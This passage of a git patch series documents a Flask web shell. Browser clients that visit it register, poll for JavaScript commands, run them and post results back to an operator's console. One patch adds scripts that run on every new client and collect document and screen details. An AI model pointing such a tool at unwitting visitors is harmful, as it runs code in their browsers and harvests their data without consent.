queue, you can fire mutliple commands and the client will execute them one by one. All the commands are executed using a single context, so you issue mutiple related commands. +To view the commands issued to a client, first select a client: +```python +>> select 1 +``` + +Then, issue the `coms` command to view all the commands for the client: +``` python +(Client 1) >> coms +``` +To view the full command and it's full output (on the `coms` command the output is truncated to fit the screen): +```python +(Client 1) >> com 1 +``` + ## Credits [Canop](https://github.com/Canop) for [JSON.prune](https://github.com/Canop/JSON.prune/) From f54989cd40b83c0fa4c2e9868dc24865ebb023ad Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:36:56 +0200 Subject: [PATCH 20/31] Update README.md --- README.md | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index e591a4b..2f71cad 100644 --- a/README.md +++ b/README.md @@ -34,15 +34,21 @@ pip install -r requirements.txt * Command Context ## Running -1. Start the server (at the background): +1. Create the database +```python +python db_handler.py create +``` +2. Start the server (at the background): ```python python run.py ``` -2. Navigate with a browser to the server address -3. Open the interactive shell +3. Navigate with a browser to the server address +4. Open the interactive shell ```python python shell.py ``` +5. Profit + ### Usage The shell interface contains various commands (can be reavealed using the `help` command). ```python @@ -82,5 +88,9 @@ To view the full command and it's full output (on the `coms` command the output (Client 1) >> com 1 ``` +## Database Handling +I have included a script that i've been using during tests, which is the `db_handler.py` file. It includes varius function to handle and test your database. + + ## Credits [Canop](https://github.com/Canop) for [JSON.prune](https://github.com/Canop/JSON.prune/) From bdc3aa7119523f09de7fc4768c179f64759c595c Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:37:46 +0200 Subject: [PATCH 21/31] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 2f71cad..918cff4 100644 --- a/README.md +++ b/README.md @@ -34,20 +34,20 @@ pip install -r requirements.txt * Command Context ## Running -1. Create the database +* Create the database ```python python db_handler.py create ``` -2. Start the server (at the background): +* Start the server (at the background): ```python python run.py ``` -3. Navigate with a browser to the server address -4. Open the interactive shell +* Navigate with a browser to the server address +* Open the interactive shell ```python python shell.py ``` -5. Profit +* Profit ### Usage The shell interface contains various commands (can be reavealed using the `help` command). From 0bd2e0a9b8002475dbd9f12c21b5372e7c572237 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:38:41 +0200 Subject: [PATCH 22/31] Update README.md --- README.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 918cff4..7097e8f 100644 --- a/README.md +++ b/README.md @@ -34,20 +34,22 @@ pip install -r requirements.txt * Command Context ## Running -* Create the database +### Create the database ```python python db_handler.py create ``` -* Start the server (at the background): +### Start the server (at the background): ```python python run.py ``` -* Navigate with a browser to the server address -* Open the interactive shell +### Navigate with a browser to the server address +If you running localy, then navigate to `http://localhost:5000` (port can be changed) + +### Open the interactive shell ```python python shell.py ``` -* Profit +### Profit :) ### Usage The shell interface contains various commands (can be reavealed using the `help` command). From 5e37506ca362d9eee71bae07761a75147efbafc7 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:39:29 +0200 Subject: [PATCH 23/31] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7097e8f..0886759 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ An interactive multi-user web based shell written in Python with Flask (for server side) and of course Javascript and HTML (client side). It was initally created in order to debug remote isoteric browsers during tests and research. I am well aware of other purposes this tool might serve, use it at your own responabilty and risk. ## Author -Daniel Abeles. +[Daniel Abeles](https://twitter.com/Daniel_Abeles). ## Installation It is recommended to use a virtual environment (I used python 3.6, but eariler work just fine): From b893786b47c50cbbd2abd9eecb1ce0ba3d1d68f1 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:46:02 +0200 Subject: [PATCH 24/31] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 0886759..b3e9e61 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,10 @@ If you running localy, then navigate to `http://localhost:5000` (port can be cha ```python python shell.py ``` + +### Optional : Pre flight scripts +Those are scripts that will execute on every visist of a new client. Use them wisely :) + ### Profit :) ### Usage From 030ab2bb46532eeefb67f42ae3ba4829a8d88f40 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:46:29 +0200 Subject: [PATCH 25/31] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b3e9e61..ca3060f 100644 --- a/README.md +++ b/README.md @@ -51,7 +51,7 @@ python shell.py ``` ### Optional : Pre flight scripts -Those are scripts that will execute on every visist of a new client. Use them wisely :) +Those are scripts that will execute on every registration of a new client. Use them wisely :) ### Profit :) From cc2b76dbff2394485cbaf8afedce90149ba6ae46 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:49:58 +0200 Subject: [PATCH 26/31] Update README.md --- README.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ca3060f..407dc18 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ python shell.py ### Optional : Pre flight scripts Those are scripts that will execute on every registration of a new client. Use them wisely :) -### Profit :) +##### Profit :) ### Usage The shell interface contains various commands (can be reavealed using the `help` command). @@ -94,6 +94,16 @@ To view the full command and it's full output (on the `coms` command the output (Client 1) >> com 1 ``` +## Workflow +After all the installations and configuration is done, the workflow of the application is the following: +1. Client visits the home page `http://localhost:5000/`. +2. He makes a `register` request to the server. +3. Waits for commands. +4. In the meanwhile, on the server, you execute commands using the `shell.py` script. +5. The client probes the server for commands, see a new one appeared, pulls it and executes it. +6. Once he's done executing, he will post back the result to the server. +7. Now, using the `coms` command, we can see the output for that command. + ## Database Handling I have included a script that i've been using during tests, which is the `db_handler.py` file. It includes varius function to handle and test your database. From c4da11abe992f8afda59c8f471a3e6d48c43dd80 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 10:20:38 +0200 Subject: [PATCH 27/31] Update README.md --- README.md | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 407dc18..803ff5d 100644 --- a/README.md +++ b/README.md @@ -96,13 +96,20 @@ To view the full command and it's full output (on the `coms` command the output ## Workflow After all the installations and configuration is done, the workflow of the application is the following: -1. Client visits the home page `http://localhost:5000/`. -2. He makes a `register` request to the server. -3. Waits for commands. -4. In the meanwhile, on the server, you execute commands using the `shell.py` script. -5. The client probes the server for commands, see a new one appeared, pulls it and executes it. -6. Once he's done executing, he will post back the result to the server. -7. Now, using the `coms` command, we can see the output for that command. +1. Client visits the home page `http://localhost:5000/` + +2. He makes a `register` request to the server + +3. Waits for commands + +4. In the meanwhile, on the server, you execute commands using the `shell.py` script + +5. The client probes the server for commands, see a new one appeared, pulls it and executes it + +6. Once he's done executing, he will post back the result to the server + +7. Now, using the `coms` command, we can see the output for that command + ## Database Handling I have included a script that i've been using during tests, which is the `db_handler.py` file. It includes varius function to handle and test your database. From 23d4a8e28c025cc99cf611033dd4097f47212f42 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 16:00:12 +0200 Subject: [PATCH 28/31] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 803ff5d..c2cc3fe 100644 --- a/README.md +++ b/README.md @@ -96,6 +96,7 @@ To view the full command and it's full output (on the `coms` command the output ## Workflow After all the installations and configuration is done, the workflow of the application is the following: + 1. Client visits the home page `http://localhost:5000/` 2. He makes a `register` request to the server From 8619a607281feae9e4be43a64e3c3f423715be1d Mon Sep 17 00:00:00 2001 From: Den1al Date: Tue, 7 Mar 2017 09:22:42 +0200 Subject: [PATCH 29/31] Update README.md --- README.md | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index c2cc3fe..a0f8f94 100644 --- a/README.md +++ b/README.md @@ -57,24 +57,27 @@ Those are scripts that will execute on every registration of a new client. Use t ### Usage The shell interface contains various commands (can be reavealed using the `help` command). -```python +```bash ╦╔═╗╔═╗┬ ┬┌─┐┬ ┬ ║╚═╗╚═╗├─┤├┤ │ │ ╚╝╚═╝╚═╝┴ ┴└─┘┴─┘┴─┘ By @Daniel_Abeles >> help - -list | Lists all the clients registered -help | self.help() -select | Selected a specific client from the list - | Executes a command to the current selected client -back | Detaches from the current client -exit | Exists this interactive shell -coms | Displays the commands and output for the current client -com | Displays a specific command and output for the current client -comk | Kills a command ("*" for all) -clik | Kills a client ("*" for all) ++-------------+---------------------------------------------------------------+ +| command | description | ++-------------+---------------------------------------------------------------+ +| list | Lists all the clients registered | +| help | self.help() | +| select | Selected a specific client from the list | +| | Executes a command to the current selected client | +| back | Detaches from the current client | +| exit | Exists this interactive shell | +| coms | Displays the commands and output for the current client | +| com | Displays a specific command and output for the current client | +| comk | Kills a command ("*" for all) | +| clik | Kills a client ("*" for all) | ++-------------+---------------------------------------------------------------+ ``` Utilizing the command queue, you can fire mutliple commands and the client will execute them one by one. From b7dfb66204af34047e0d9ac27e61d2278e861c96 Mon Sep 17 00:00:00 2001 From: Daniel Abeles Date: Tue, 7 Mar 2017 09:33:18 +0200 Subject: [PATCH 30/31] Added a safeguard for the shell when selecting an ID. Changes to be committed: modified: app/preflight_scripts.py modified: shell.py --- app/preflight_scripts.py | 8 +++++--- shell.py | 13 ++++++++----- 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/app/preflight_scripts.py b/app/preflight_scripts.py index 08bfaaa..8cda731 100644 --- a/app/preflight_scripts.py +++ b/app/preflight_scripts.py @@ -1,6 +1,8 @@ +''' Pre flight scripts that will run on every client when they register ''' pf_scripts = [ - "var test=12;test" "window", - "window.document" -] + "window.document", + "var l = {\"availHeight\" : window.screen.availHeight,\"availLeft\" : window.screen.availLeft,\"availTop\" : window.screen.availTop, \"availWidth\" : window.screen.availWidth, \"colorDepth\": window.screen.colorDepth, \"height\" : window.screen.height, \"orientation\" : window.screen.orientation, \"ScreenOrientation\" : window.screen.ScreenOrientation, \"pixelDepth\" : window.screen.pixelDepth, \"width\" : window.screen.width};l", + "var l = [];for(var i=0;i Date: Tue, 7 Mar 2017 10:33:35 +0200 Subject: [PATCH 31/31] Update requirements.txt --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 566ad4f..a1f0183 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,7 +9,6 @@ Jinja2==2.9.5 jsbeautifier==1.6.11 MarkupSafe==0.23 prettytable==0.7.2 -pywsgi==0.9.0 six==1.10.0 SQLAlchemy==1.1.6 Werkzeug==0.11.15